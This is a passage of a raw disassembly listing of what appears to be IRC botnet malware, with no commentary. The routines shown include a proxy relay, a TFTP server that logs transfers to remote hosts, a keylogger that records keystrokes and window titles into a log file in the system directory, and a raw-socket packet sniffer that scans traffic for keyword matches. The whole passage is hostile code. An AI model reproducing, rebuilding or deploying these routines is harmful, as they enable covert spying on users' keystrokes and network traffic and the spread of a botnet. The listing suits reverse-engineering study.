ptr -5D0h var_4D0 = byte ptr -4D0h var_4CF = byte ptr -4CFh var_4CE = word ptr -4CEh var_4CC = dword ptr -4CCh var_4C8 = byte ptr -4C8h var_C8 = byte ptr -0C8h var_44 = byte ptr -44h var_2C = dword ptr -2Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 2Ch mov esi, eax pop ecx lea edi, [ebp+var_C8] rep movsd mov esi, [ebp+var_2C] xor edi, edi mov [ebp+arg_0], esi imul esi, 234h inc edi lea esi, dword_440BA4[esi] mov [eax+0ACh], edi xor ebx, ebx mov eax, [esi] mov [ebp+var_8], 5 mov [ebp+var_5D0], eax lea eax, [ebp+var_8] push eax push ebx lea eax, [ebp+var_5D4] push ebx push eax push ebx mov [ebp+var_4], ebx mov [ebp+var_5D4], edi call dword_4CDC4C ; select test eax, eax jnz short loc_411AB8 push dword ptr [esi] call dword_4CDCFC ; closesocket push [ebp+arg_0] call sub_40B2A3 pop ecx push ebx call dword_4280CC ; ExitThread loc_411AB8: ; CODE XREF: sub_411A37+67j push ebx lea eax, [ebp+var_4D0] push 408h push eax push dword ptr [esi] call dword_4CDC7C ; recv test eax, eax jg short loc_411AE9 push dword ptr [esi] call dword_4CDCFC ; closesocket push [ebp+arg_0] call sub_40B2A3 pop ecx push ebx call dword_4280CC ; ExitThread loc_411AE9: ; CODE XREF: sub_411A37+98j cmp [ebp+var_4D0], 4 jnz loc_411CE3 cmp [ebp+var_4CF], 1 jnz loc_411CE3 cmp [ebp+var_44], bl jz short loc_411B7F lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax call sub_41C840 pop ecx test eax, eax pop ecx jz short loc_411B7F lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax push offset dword_4372CC call sub_415819 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Dh call sub_41BD60 add esp, 18h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4CDCB4 ; send push dword ptr [esi] call dword_4CDCFC ; closesocket push [ebp+arg_0] call sub_40B2A3 pop ecx push ebx call dword_4280CC ; ExitThread loc_411B7F: ; CODE XREF: sub_411A37+CFj ; sub_411A37+E5j push 10h lea eax, [ebp+var_18] push ebx push eax call sub_41BD60 mov ax, [ebp+var_4CE] add esp, 0Ch mov [ebp+var_16], ax mov eax, [ebp+var_4CC] push 6 push edi push 2 mov [ebp+var_18], 2 mov [ebp+var_14], eax call dword_4CDCE4 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_411C17 call dword_4CDBF8 ; WSAGetLastError push eax push offset dword_43728C call sub_415819 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_41BD60 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4CDCB4 ; send push dword ptr [esi] call dword_4CDCFC ; closesocket push [ebp+arg_0] call sub_40B2A3 pop ecx push ebx call dword_4280CC ; ExitThread loc_411C17: ; CODE XREF: sub_411A37+181j lea eax, [ebp+var_18] push 10h push eax push edi call dword_4CDC0C ; connect cmp eax, 0FFFFFFFFh jnz short loc_411C86 call dword_4CDBF8 ; WSAGetLastError push eax push offset dword_437248 call sub_415819 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_41BD60 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4CDCB4 ; send push dword ptr [esi] call dword_4CDCFC ; closesocket push [ebp+arg_0] call sub_40B2A3 pop ecx push ebx call dword_4280CC ; ExitThread loc_411C86: ; CODE XREF: sub_411A37+1F0j push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Ah call sub_41BD60 add esp, 0Ch lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4CDCB4 ; send push dword ptr [esi] push edi call sub_411CFB pop ecx pop ecx push edi call dword_4CDCFC ; closesocket push dword ptr [esi] call dword_4CDCFC ; closesocket push [ebp+arg_0] call sub_40B2A3 pop ecx push ebx call dword_4280CC ; ExitThread loc_411CE3: ; CODE XREF: sub_411A37+B9j ; sub_411A37+C6j push dword ptr [esi] call dword_4CDCFC ; closesocket push [ebp+arg_0] call sub_40B2A3 pop ecx push ebx call dword_4280CC ; ExitThread sub_411A37 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411CFB proc near ; CODE XREF: sub_411A37+286p var_504 = byte ptr -504h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi mov esi, 400h loc_411D11: ; CODE XREF: sub_411CFB+BEj ; sub_411CFB+EEj xor ecx, ecx mov [ebp+var_100], ebx inc ecx xor eax, eax mov [ebp+var_104], ecx loc_411D22: ; CODE XREF: sub_411CFB+36j mov edx, [ebp+arg_0] cmp [ebp+eax*4+var_100], edx jz short loc_411D33 inc eax cmp eax, ecx jb short loc_411D22 loc_411D33: ; CODE XREF: sub_411CFB+31j cmp eax, ecx jnz short loc_411D47 mov [ebp+var_FC], edx mov [ebp+var_104], 2 loc_411D47: ; CODE XREF: sub_411CFB+3Aj push esi lea eax, [ebp+var_504] push edi push eax call sub_41BD60 add esp, 0Ch lea eax, [ebp+var_104] push edi push edi push edi push eax push edi call dword_4CDC4C ; select lea eax, [ebp+var_104] push eax push ebx call dword_4CDB50 ; __WSAFDIsSet test eax, eax jz short loc_411DA7 push edi lea eax, [ebp+var_504] push esi push eax push ebx call dword_4CDC7C ; recv cmp eax, 0FFFFFFFFh jz short loc_411DEF push edi push eax lea eax, [ebp+var_504] push eax push [ebp+arg_0] call dword_4CDCB4 ; send cmp eax, 0FFFFFFFFh jz short loc_411DEF loc_411DA7: ; CODE XREF: sub_411CFB+7Ej lea eax, [ebp+var_104] push eax push [ebp+arg_0] call dword_4CDB50 ; __WSAFDIsSet test eax, eax jz loc_411D11 push edi lea eax, [ebp+var_504] push esi push eax push [ebp+arg_0] call dword_4CDC7C ; recv cmp eax, 0FFFFFFFFh jz short loc_411DEF push edi push eax lea eax, [ebp+var_504] push eax push ebx call dword_4CDCB4 ; send cmp eax, 0FFFFFFFFh jnz loc_411D11 loc_411DEF: ; CODE XREF: sub_411CFB+93j ; sub_411CFB+AAj ... pop edi pop esi pop ebx leave retn sub_411CFB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411DF4 proc near ; CODE XREF: sub_411DF4:loc_41225Fp ; DATA XREF: sub_401B66+202Bo ... var_87C = dword ptr -87Ch var_878 = dword ptr -878h var_778 = byte ptr -778h var_578 = byte ptr -578h var_577 = byte ptr -577h var_576 = byte ptr -576h var_575 = byte ptr -575h var_574 = byte ptr -574h var_374 = dword ptr -374h var_370 = byte ptr -370h var_26C = byte ptr -26Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_160 = dword ptr -160h var_15C = byte ptr -15Ch var_DC = dword ptr -0DCh var_D8 = dword ptr -0D8h var_D0 = byte ptr -0D0h var_CF = byte ptr -0CFh var_CE = byte ptr -0CEh var_CD = byte ptr -0CDh var_50 = byte ptr -50h var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_2C = word ptr -2Ch var_2A = word ptr -2Ah var_28 = dword ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 87Ch mov edx, [ebp+arg_0] push ebx push esi xor ebx, ebx push edi xor eax, eax mov ecx, 0A9h mov esi, edx lea edi, [ebp+var_374] push ebx inc eax push 2 rep movsd inc [ebp+var_164] push 2 mov [ebp+var_10], eax mov [ebp+var_14], eax mov [ebp+var_8], eax mov [edx+2A0h], eax call dword_4CDCE4 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_411E94 push 190h call dword_428064 ; Sleep cmp [ebp+var_D8], ebx jnz short loc_411E74 push ebx lea eax, [ebp+var_778] push [ebp+var_DC] push eax lea eax, [ebp+var_15C] push eax push [ebp+var_374] call sub_409982 add esp, 14h loc_411E74: ; CODE XREF: sub_411DF4+5Bj lea eax, [ebp+var_778] push eax call sub_4157A5 push [ebp+var_168] call sub_40B2A3 pop ecx pop ecx push ebx call dword_4280CC ; ExitThread loc_411E94: ; CODE XREF: sub_411DF4+48j lea eax, [ebp+var_10] push 4 push eax mov edi, 0FFFFh push 4 push edi push esi call dword_4CDC44 ; setsockopt lea eax, [ebp+var_14] push 4 push eax push 0FFFFFFFBh push edi push esi call dword_4CDC44 ; setsockopt mov eax, [ebp+var_168] push 10h imul eax, 234h push ebx mov dword_440BA4[eax], esi lea eax, [ebp+var_2C] push eax call sub_41BD60 add esp, 0Ch mov [ebp+var_2C], 2 push [ebp+var_160] call dword_4CDC64 ; ntohs mov [ebp+var_2A], ax lea eax, [ebp+var_2C] push 10h push eax push esi mov [ebp+var_28], ebx call dword_4CDC90 ; bind cmp eax, 0FFFFFFFFh jnz short loc_411F1E push 1388h call dword_428064 ; Sleep dec [ebp+var_164] push [ebp+arg_0] jmp loc_41225F ; --------------------------------------------------------------------------- loc_411F1E: ; CODE XREF: sub_411DF4+10Fj lea eax, [ebp+var_370] push offset dword_42A06C push eax call sub_41BC92 pop ecx cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_411F84 push 190h call dword_428064 ; Sleep push ebx lea eax, [ebp+var_778] push [ebp+var_DC] push eax lea eax, [ebp+var_15C] push eax push [ebp+var_374] call sub_409982 lea eax, [ebp+var_778] push eax call sub_4157A5 push [ebp+var_168] call sub_40B2A3 add esp, 1Ch push ebx call dword_4280CC ; ExitThread loc_411F84: ; CODE XREF: sub_411DF4+142j ; sub_411DF4+425j mov edi, [ebp+arg_0] cmp [edi+2A0h], ebx jz loc_412222 mov edi, 80h lea eax, [ebp+var_D0] push edi push ebx push eax mov [ebp+var_1C], 5 mov [ebp+var_18], 1388h mov [ebp+var_878], esi mov [ebp+var_87C], 1 call sub_41BD60 add esp, 0Ch lea eax, [ebp+var_1C] push eax push ebx lea eax, [ebp+var_87C] push ebx push eax push ebx call dword_4CDC4C ; select test eax, eax jle loc_412216 mov al, byte_43FE14 mov ecx, edi mov [ebp+var_578], al xor eax, eax lea edi, [ebp+var_577] mov [ebp+var_C], 10h rep stosd stosw stosb lea eax, [ebp+var_C] push eax lea eax, [ebp+var_3C] push eax push ebx lea eax, [ebp+var_D0] push 80h push eax push esi call dword_4CDC3C ; recvfrom push [ebp+var_38] mov [ebp+var_8], eax call dword_4CDCF0 ; inet_ntoa push eax lea eax, [ebp+var_50] push eax call sub_41C056 cmp [ebp+var_D0], bl pop ecx pop ecx jnz loc_412200 cmp [ebp+var_CF], 1 jnz loc_41210C lea eax, [ebp+var_26C] push eax call sub_41B7B0 push ebx push ebx push [ebp+var_4] call sub_41D9ED push [ebp+var_4] lea eax, [ebp+var_574] mov [ebp+var_578], bl mov [ebp+var_577], 3 push 200h push 1 push eax mov [ebp+var_576], bl mov [ebp+var_575], 1 call sub_41B8EA add esp, 20h lea ecx, [ebp+var_3C] mov [ebp+var_8], eax add eax, 4 push [ebp+var_C] push ecx push ebx push eax lea eax, [ebp+var_578] push eax push esi call dword_4CDCC8 ; sendto lea eax, [ebp+var_50] push eax lea eax, [ebp+var_778] push offset aTftpTransferSt ; "Tftp transfer started to: %s" push eax call sub_41C056 add esp, 0Ch cmp [ebp+var_D8], ebx jnz short loc_4120FA push ebx lea eax, [ebp+var_778] push [ebp+var_DC] push eax lea eax, [ebp+var_15C] push eax push [ebp+var_374] call sub_409982 add esp, 14h loc_4120FA: ; CODE XREF: sub_411DF4+2E1j lea eax, [ebp+var_778] push eax call sub_4157A5 pop ecx jmp loc_412216 ; --------------------------------------------------------------------------- loc_41210C: ; CODE XREF: sub_411DF4+257j cmp [ebp+var_CF], 4 jnz loc_412200 mov cl, [ebp+var_CD] mov al, [ebp+var_CE] cmp cl, 0FFh mov [ebp+var_578], bl mov [ebp+var_577], 3 jnz short loc_412143 inc al xor cl, cl mov [ebp+var_575], bl jmp short loc_41214B ; --------------------------------------------------------------------------- loc_412143: ; CODE XREF: sub_411DF4+341j inc cl mov [ebp+var_575], cl loc_41214B: ; CODE XREF: sub_411DF4+34Dj mov [ebp+var_576], al mov edi, 200h movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx push ebx shl eax, 9 sub eax, edi push eax push [ebp+var_4] call sub_41D9ED push [ebp+var_4] lea eax, [ebp+var_574] push edi push 1 push eax call sub_41B8EA add esp, 1Ch mov edi, eax lea eax, [ebp+var_3C] mov [ebp+var_8], edi push [ebp+var_C] push eax lea eax, [edi+4] push ebx push eax lea eax, [ebp+var_578] push eax push esi call dword_4CDCC8 ; sendto cmp edi, ebx jnz short loc_412216 lea eax, [ebp+var_50] push eax lea eax, [ebp+var_778] push offset aTftpTransferCo ; "Tftp transfer complete to: %s" push eax call sub_41C056 add esp, 0Ch cmp [ebp+var_D8], ebx jnz short loc_4121EB push ebx lea eax, [ebp+var_778] push [ebp+var_DC] push eax lea eax, [ebp+var_15C] push eax push [ebp+var_374] call sub_409982 add esp, 14h loc_4121EB: ; CODE XREF: sub_411DF4+3D2j lea eax, [ebp+var_778] push eax call sub_4157A5 inc dword_4D0760 pop ecx jmp short loc_412216 ; --------------------------------------------------------------------------- loc_412200: ; CODE XREF: sub_411DF4+24Aj ; sub_411DF4+31Fj push [ebp+var_C] lea eax, [ebp+var_3C] push eax push ebx push 9 push offset dword_43730C push esi call dword_4CDCC8 ; sendto loc_412216: ; CODE XREF: sub_411DF4+1E9j ; sub_411DF4+313j ... cmp [ebp+var_8], ebx jg loc_411F84 mov edi, [ebp+arg_0] loc_412222: ; CODE XREF: sub_411DF4+199j push esi call dword_4CDCFC ; closesocket push [ebp+var_4] call sub_41B82B dec [ebp+var_164] cmp [edi+2A0h], ebx pop ecx jnz short loc_412253 push [ebp+var_168] call sub_40B2A3 pop ecx push ebx call dword_4280CC ; ExitThread loc_412253: ; CODE XREF: sub_411DF4+44Aj push 3E8h call dword_428064 ; Sleep push edi loc_41225F: ; CODE XREF: sub_411DF4+125j call sub_411DF4 pop edi pop esi pop ebx leave retn 4 sub_411DF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41226B proc near ; CODE XREF: sub_41234A+B4p ; sub_41234A+247p var_314 = byte ptr -314h var_114 = byte ptr -114h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = byte ptr 14h arg_8C = dword ptr 94h arg_90 = dword ptr 98h push ebp mov ebp, esp sub esp, 314h lea eax, [ebp+var_10] push esi push eax call dword_428130 ; GetLocalTime lea eax, [ebp+var_114] push 104h push eax call dword_428078 ; GetSystemDirectoryA lea eax, [ebp+var_114] push offset asc_437AF4 ; "\\" push eax call sub_41C690 lea eax, [ebp+var_114] push offset dword_42A11C push eax call sub_41C690 lea eax, [ebp+var_114] push offset aAb ; "ab" push eax call sub_41BC92 mov esi, eax add esp, 18h test esi, esi jnz short loc_4122D0 inc eax jmp short loc_412347 ; --------------------------------------------------------------------------- loc_4122D0: ; CODE XREF: sub_41226B+60j movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_41C5D6 push esi call sub_41B82B add esp, 28h cmp [ebp+arg_90], 0 jnz short loc_412345 push [ebp+arg_0] lea eax, [ebp+var_314] push offset dword_437AC4 push 200h push eax call sub_41C150 push 0 lea eax, [ebp+var_314] push [ebp+arg_8C] push eax lea eax, [ebp+arg_C] push eax push [ebp+arg_4] call sub_409982 add esp, 24h loc_412345: ; CODE XREF: sub_41226B+A1j xor eax, eax loc_412347: ; CODE XREF: sub_41226B+63j pop esi leave retn sub_41226B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41234A proc near ; DATA XREF: sub_401B66+43C9o var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h var_4DC = byte ptr -4DCh var_2DD = byte ptr -2DDh var_2DC = byte ptr -2DCh var_DC = byte ptr -0DCh var_D8 = dword ptr -0D8h var_48 = byte ptr -48h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8DCh mov eax, [ebp+arg_0] push ebx push esi push edi and [ebp+var_8DC], 0 push 25h and [ebp+var_4], 0 pop ecx mov esi, eax lea edi, [ebp+var_DC] rep movsd mov dword ptr [eax+90h], 1 mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_8D8] rep stosd call dword_4CDBE8 ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_4CDC00 ; GetWindowTextA mov ebx, 200h loc_4123A5: ; CODE XREF: sub_41234A+2BBj push 8 call dword_428064 ; Sleep call dword_4CDBE8 ; GetForegroundWindow cmp eax, [ebp+var_8] jz short loc_41242D lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_4CDC00 ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax lea eax, [ebp+var_4DC] push offset aSChangedWindow ; "%s (Changed Windows: %s)" push eax call sub_41C056 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_41226B mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_41BD60 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_41BD60 add esp, 0Ch loc_41242D: ; CODE XREF: sub_41234A+6Cj mov [ebp+arg_0], offset aB_0 ; "b" loc_412434: ; CODE XREF: sub_41234A+2B1j push 10h call dword_4CDB38 ; GetKeyState movsx esi, ax mov eax, [ebp+arg_0] mov edi, [eax-4] push edi call dword_4CDC30 ; GetAsyncKeyState test ah, ah jns short loc_4124CB push 14h call dword_4CDB38 ; GetKeyState test ax, ax jz short loc_41247C cmp esi, 0FFFFFFFFh jle short loc_41247C cmp edi, 40h jle short loc_41247C cmp edi, 5Bh jge short loc_41247C mov [ebp+edi*4+var_8DC], 1 jmp loc_4125F0 ; --------------------------------------------------------------------------- loc_41247C: ; CODE XREF: sub_41234A+111j ; sub_41234A+116j ... push 14h call dword_4CDB38 ; GetKeyState test ax, ax jz short loc_4124A7 test esi, esi jge short loc_4124BB cmp edi, 40h jle short loc_4124A7 cmp edi, 5Bh jge short loc_4124A7 mov [ebp+edi*4+var_8DC], 2 jmp loc_4125F0 ; --------------------------------------------------------------------------- loc_4124A7: ; CODE XREF: sub_41234A+13Dj ; sub_41234A+146j ... test esi, esi jge short loc_4124BB mov [ebp+edi*4+var_8DC], 3 jmp loc_4125F0 ; --------------------------------------------------------------------------- loc_4124BB: ; CODE XREF: sub_41234A+141j ; sub_41234A+15Fj mov [ebp+edi*4+var_8DC], 4 jmp loc_4125F0 ; --------------------------------------------------------------------------- loc_4124CB: ; CODE XREF: sub_41234A+104j lea eax, [ebp+edi*4+var_8DC] mov esi, [eax] test esi, esi jz loc_4125F0 and dword ptr [eax], 0 lea eax, [ebp+var_2DC] push eax call sub_41B7B0 cmp edi, 8 pop ecx jnz short loc_4124FE and [ebp+eax+var_2DD], 0 jmp loc_4125F0 ; --------------------------------------------------------------------------- loc_4124FE: ; CODE XREF: sub_41234A+1A5j cmp eax, 1B9h jbe short loc_41252A call dword_4CDBE8 ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_4CDC00 ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSBufferFullS ; "%s (Buffer full) (%s)" jmp short loc_41256B ; --------------------------------------------------------------------------- loc_41252A: ; CODE XREF: sub_41234A+1B9j cmp edi, 0Dh jnz loc_4125C2 lea eax, [ebp+var_2DC] push eax call sub_41B7B0 test eax, eax pop ecx jz loc_4125F0 call dword_4CDBE8 ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_4CDC00 ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSReturnS ; "%s (Return) (%s)" loc_41256B: ; CODE XREF: sub_41234A+1DEj lea eax, [ebp+var_4DC] push eax call sub_41C056 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_41226B mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_41BD60 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_41BD60 add esp, 0Ch jmp short loc_4125F0 ; --------------------------------------------------------------------------- loc_4125C2: ; CODE XREF: sub_41234A+1E3j cmp esi, 1 jz short loc_4125DB cmp esi, 3 jz short loc_4125DB cmp esi, 2 jz short loc_4125D6 cmp esi, 4 jnz short loc_4125F0 loc_4125D6: ; CODE XREF: sub_41234A+285j push [ebp+arg_0] jmp short loc_4125E2 ; --------------------------------------------------------------------------- loc_4125DB: ; CODE XREF: sub_41234A+27Bj ; sub_41234A+280j mov eax, [ebp+arg_0] add eax, 7 push eax loc_4125E2: ; CODE XREF: sub_41234A+28Fj lea eax, [ebp+var_2DC] push eax call sub_41C690 pop ecx pop ecx loc_4125F0: ; CODE XREF: sub_41234A+12Dj ; sub_41234A+158j ... add [ebp+arg_0], 14h cmp [ebp+arg_0], offset dword_437A8C jl loc_412434 cmp [ebp+var_4], 0 jz loc_4123A5 push [ebp+var_D8] call sub_40B2A3 pop ecx push 0 call dword_4280CC ; ExitThread sub_41234A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41261F proc near ; DATA XREF: sub_401B66+40C8o var_102B4 = byte ptr -102B4h var_102AB = byte ptr -102ABh var_102A8 = dword ptr -102A8h var_102A0 = dword ptr -102A0h var_10293 = byte ptr -10293h var_1028C = byte ptr -1028Ch var_2B4 = byte ptr -2B4h var_B4 = dword ptr -0B4h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 102B4h call sub_41C2F0 mov edx, [ebp+arg_0] push esi push edi push 25h xor eax, eax pop ecx mov esi, edx lea edi, [ebp+var_B4] inc eax push 10h rep movsd mov [ebp+var_8], eax mov [edx+90h], eax xor esi, esi lea eax, [ebp+var_1C] push esi push eax call sub_41BD60 add esp, 0Ch mov [ebp+var_1C], 2 push esi call dword_4CDC64 ; ntohs push [ebp+var_B4] mov [ebp+var_1A], ax call sub_40AB14 pop ecx push eax call dword_4CDCA4 ; inet_addr push esi push 3 push 2 mov [ebp+var_18], eax call dword_4CDCE4 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jnz short loc_4126F4 call dword_4CDBF8 ; WSAGetLastError push eax lea eax, [ebp+var_2B4] push offset dword_438494 push eax call sub_41C056 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_4126D7 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_409982 add esp, 14h loc_4126D7: ; CODE XREF: sub_41261F+96j lea eax, [ebp+var_2B4] push eax call sub_4157A5 push [ebp+var_30] call sub_40B2A3 pop ecx pop ecx push esi call dword_4280CC ; ExitThread loc_4126F4: ; CODE XREF: sub_41261F+76j mov eax, [ebp+var_30] push 10h imul eax, 234h mov dword_440BA4[eax], edi lea eax, [ebp+var_1C] push eax push edi call dword_4CDC90 ; bind cmp eax, 0FFFFFFFFh jnz short loc_412779 call dword_4CDBF8 ; WSAGetLastError push eax lea eax, [ebp+var_2B4] push offset dword_438468 push eax call sub_41C056 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_412755 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_409982 add esp, 14h loc_412755: ; CODE XREF: sub_41261F+114j lea eax, [ebp+var_2B4] push eax call sub_4157A5 pop ecx push edi call dword_4CDCFC ; closesocket push [ebp+var_30] call sub_40B2A3 pop ecx push esi call dword_4280CC ; ExitThread loc_412779: ; CODE XREF: sub_41261F+F4j push esi lea eax, [ebp+var_20] push esi push eax push esi push esi lea eax, [ebp+var_8] push 4 push eax push 98000001h push edi call dword_4CDC10 ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_4127FC call dword_4CDBF8 ; WSAGetLastError push eax lea eax, [ebp+var_2B4] push offset dword_438438 push eax call sub_41C056 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_4127D8 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_409982 add esp, 14h loc_4127D8: ; CODE XREF: sub_41261F+197j lea eax, [ebp+var_2B4] push eax call sub_4157A5 pop ecx push edi call dword_4CDCFC ; closesocket push [ebp+var_30] call sub_40B2A3 pop ecx push esi call dword_4280CC ; ExitThread loc_4127FC: ; CODE XREF: sub_41261F+177j push ebx mov ebx, offset dword_437B50 loc_412802: ; CODE XREF: sub_41261F+21Cj ; sub_41261F+22Ej ... push 0FFFFh lea eax, [ebp+var_102B4] push esi push eax call sub_41BD60 add esp, 0Ch lea eax, [ebp+var_102B4] push esi push 0FFFFh push eax push edi call dword_4CDC7C ; recv cmp eax, 0FFFFFFFFh jz loc_41292B cmp [ebp+var_102AB], 6 jnz short loc_412802 mov eax, [ebp+var_102A8] cmp [ebp+var_10293], 18h mov [ebp+var_C], eax jnz short loc_412802 lea eax, [ebp+var_1028C] push offset dword_43842C push eax call sub_41C0D0 pop ecx test eax, eax pop ecx jnz short loc_412802 lea eax, [ebp+var_1028C] push offset dword_43841C push eax call sub_41C0D0 pop ecx test eax, eax pop ecx jnz short loc_412802 xor edi, edi mov eax, ebx mov [ebp+arg_0], ebx loc_412884: ; CODE XREF: sub_41261F+280j push eax lea eax, [ebp+var_1028C] push eax call sub_41C0D0 pop ecx test eax, eax pop ecx jnz short loc_4128A9 inc edi add [ebp+arg_0], 18h mov eax, [ebp+arg_0] jnz short loc_412884 loc_4128A1: ; CODE XREF: sub_41261F+307j mov edi, [ebp+var_4] jmp loc_412802 ; --------------------------------------------------------------------------- loc_4128A9: ; CODE XREF: sub_41261F+276j lea eax, [ebp+var_1028C] push eax push [ebp+var_102A0] call dword_4CDB94 ; ntohs movzx eax, ax push eax push [ebp+var_C] call dword_4CDCF0 ; inet_ntoa push eax lea eax, [edi+edi*2] mov eax, dword_437B64[eax*8] push off_437B40[eax*4] lea eax, [ebp+var_2B4] push offset dword_4383E8 push 200h push eax call sub_41C150 add esp, 1Ch cmp [ebp+var_28], esi jnz short loc_412919 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_409982 add esp, 14h loc_412919: ; CODE XREF: sub_41261F+2D8j lea eax, [ebp+var_2B4] push eax call sub_4157A5 pop ecx jmp loc_4128A1 ; --------------------------------------------------------------------------- loc_41292B: ; CODE XREF: sub_41261F+20Fj call dword_4CDBF8 ; WSAGetLastError push eax push offset dword_4383BC lea eax, [ebp+var_2B4] push 200h push eax call sub_41C150 add esp, 10h cmp [ebp+var_28], esi pop ebx jnz short loc_412971 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_409982 add esp, 14h loc_412971: ; CODE XREF: sub_41261F+330j lea eax, [ebp+var_2B4] push eax call sub_4157A5 pop ecx push edi call dword_4CDCFC ; closesocket push [ebp+var_30] call sub_40B2A3 pop ecx push esi call dword_4280CC ; ExitThread sub_41261F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_412995 proc near ; CODE XREF: sub_412CA4+216p ; sub_412CA4+240p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4D0AB4, eax mov eax, offset dword_4D0AB4 retn sub_412995 endp ; =============== S U B R O U T I N E ======================================= sub_4129A4 proc near ; CODE XREF: sub_412CA4+2B7p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aBotSniff ; "Bot sniff" push esi call sub_41C0D0 pop ecx test eax, eax pop ecx jz short loc_4129BE loc_4129BA: ; CODE XREF: sub_4129A4+29j ; sub_4129A4+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_4129BE: ; CODE XREF: sub_4129A4+14j push offset aGxxx ; "#Gxxx" push esi call sub_41C0D0 pop ecx test eax, eax pop 